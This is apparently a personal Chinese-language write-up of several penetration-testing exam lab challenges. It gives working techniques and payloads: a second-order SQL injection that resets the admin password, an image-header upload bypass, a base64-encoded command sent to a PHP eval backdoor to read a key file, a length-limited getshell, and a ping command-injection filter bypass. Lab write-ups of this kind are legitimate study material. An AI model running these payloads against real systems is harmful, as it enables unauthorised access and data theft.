群里面有个老哥丢了几道PTE的题目出来,然后我想这我也要考的我就去做了做,趁现在环境还有赶快记一下
我刚开始还以为是弱口令,直接admin/123456就进去了..然后我问群里老哥,他说密码是他改的,的确是一道二阶注入
我印象里面二阶注入是注册的时候在用户名(或别处)用sql语句把需要得到的信息输出出来,然后登录进去就会看到注入出来的数据在用户名处
然后我单引号双引号括号试了试都不报错,就迷惑了,后来老哥发来一篇文章
https://www.cnblogs.com/micr067/p/12731198.htm
看了一下原来是sqli-lab24关,印象里这关在windows上因为大小写的问题会被重命名,所以我也没有打过,哎,然后学习了一下注册的时候用户名注册为admin’#登录进去之后修改密码就可以了,也是sql语句拼接的问题导致修改的是admin的密码
然后我去注册的时候admin’#已经被注册走了,猜了猜密码估计也是123456,进去之后修改密码为123,然后admin/123登录进去就可以了
好的嘛然后我现在写文章的时候密码又被别人改了,我还猜不到admin’#的密码了,想了想只能再注册了一个admin’#123456然后上去修改密码,反正#都是被注释掉的加什么都可以修改密码为123之后登录
我看了一下这页面上的’都变成撇了,我也调不过来,注意一下是英文的单引号就好了
随便测试了一下发现只要有图片的pe头然后一句话不要太简单就能过了
1 | GIF89aÀ |
后缀改成jpg,然后上传的时候用bp改回来就行了
start/index.php?file=view.html
url是这样的,我去包含/etc/passwd ../写了很多还是不行,然后就去看了看view.html
查看源代码后发现这个文件里面就有php代码..
看了一下php代码就是要先post一个Hello参数,然后就可以执行后面的php代码了,之前关于代码执行的函数里面写过/e
1 | [@eval(base64_decode($_POST[z0]));] |
base64接出来是这样的,密码是z0然后再经过一次base64解码,那只要提交一个base64编码后的php代码就可以了
payload:Hello=a&z0=c3lzdGVtKCdjYXQgL3Zhci93d3cvaHRtbC9rZXkucGhwJyk7
查看一下源代码就可以了
看着代码有点眼熟啊我好像做过
再仔细一看不就是那个限制字符长度getshell那个ctf题目..把7改成了30,拿自己的写的脚本一把梭,终于自己写的脚本用上了有点爽,直接getshell
蚁剑上去看看,好像用我这种方法的比较少,我去翻了翻目录发现admin/backdoor.php,打开直接输出key..,看来以后题目做不出爆破也是一种选择..
写的时候key那个文件已经不见了,只能去看这个backdoor了,估计是被别人改名改掉了,如果知道文件名的话可以用mv或者cp把php换成txt这样就可以直接读了,最好用cp吧,mv的话别人就找不到了,这可能也是这这道题之前没有写文件名的原因吧
emmm刚刚想到一个方法,有这么多字符的话直接ls>a.txt把目录输入到文本里就好了,直接看吗就可以了
这道题目不就是经常出现的ping命令吗,觉得还挺简单的
做了一下就笑不出来了,可能还是我太弟弟了,拼接的只有&可以用标点符号过滤了不少,但是有些明明不报错但是就是显示不出来,就有点绝望了,然后各种方法试了一下都不行,最后只能再去问老哥,然后拿到了exp
1 | 127.0.0.1&l$1s 测试绕过规则 |
还真是我以前没看到过的,不过太久没用了我也的确把$忘记了,以前的话都是把$当作变量或者空格用的
输进去之后看看源代码就看到key了